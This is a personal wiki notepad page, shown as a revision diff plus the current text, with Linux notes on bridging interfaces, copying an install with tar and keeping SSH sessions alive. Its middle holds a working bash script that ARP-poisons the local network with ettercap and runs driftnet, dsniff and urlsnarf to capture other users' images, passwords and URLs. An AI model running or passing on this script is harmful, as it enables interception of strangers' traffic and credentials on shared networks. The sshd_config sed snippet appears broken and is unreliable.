Difference between revisions of "Timsnotepad"

From ENTS
Jump to: navigation, search
 
Line 1: Line 1:
 +
Homemade switch?
 +
 +
<nowiki>
 +
Yes.
 +
 +
bash$> brctl addbr mybridge
 +
bash$> brctl addif mybridge eth0
 +
bash$> brctl addif mybridge eth1
 +
bash$> brctl addif mybridge eth2
 +
bash$> ifconfig mybridge up
 +
 +
This will join together eth0-eth2 into a single ethernet bridge (which is what a switch is). If you're wondering about performance, test it out for yourself. There's a bit more to the above like setting each interface's IP to 0.0.0.0 if they already have one, but otherwise it's very straightforward.
 +
 +
</nowiki>
 +
 +
 
ettercap, dsniff, driftnet 31337 h4x0r 5k1d script
 
ettercap, dsniff, driftnet 31337 h4x0r 5k1d script
  

Latest revision as of 21:08, 15 April 2014

Homemade switch?

Yes.

bash$> brctl addbr mybridge
bash$> brctl addif mybridge eth0
bash$> brctl addif mybridge eth1
bash$> brctl addif mybridge eth2
bash$> ifconfig mybridge up

This will join together eth0-eth2 into a single ethernet bridge (which is what a switch is). If you're wondering about performance, test it out for yourself. There's a bit more to the above like setting each interface's IP to 0.0.0.0 if they already have one, but otherwise it's very straightforward.



ettercap, dsniff, driftnet 31337 h4x0r 5k1d script

#!/bin/bash
mkdir ~/capture
mkdir ~/capture/img
ettercap -q -i wlp3s0 -P autoadd -T -M ARP // // &
driftnet -d ~/capture/img/ -s -a &
dsniff -i wlp3s0 &
urlsnarf -i wlp3s0 >> ~/capture/temp &
 (while true; do
  exec 4<~/capture/temp
   while read -u4 p ; do
   echo "$p" | egrep -oh 'http[s]{0,1}://[^[:space:]]+[[:space:]]' >> ~/capture/output
  done
 echo "" > ~/capture/temp &
 sleep 10
 done) &
xterm -e "watch -n1 cat ~/capture/output" &


copy an install (boot from livecd) from one HD to another:

#tar cpf - . | (cd /path/to/mountpoint; tar xpf -)


stop sshd timeouts

# stop sshd timeouts
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.old
sed 's/#*ClientAliveInterval[[:space:]][0-9]*/ClientAliveInterval 30/g' -e 's/#*ClientAliveCountMax[[:space:]][0-9]*/ClientAliveCountMax 4/g' etc/ssh/sshd_config > /etc/ssh/tmp
mv /etc/ssh/tmp /etc/ssh/sshd_config
rm /etc/ssh/tmp

Personal tools
Namespaces

Variants
Actions
Navigation
Members
Toolbox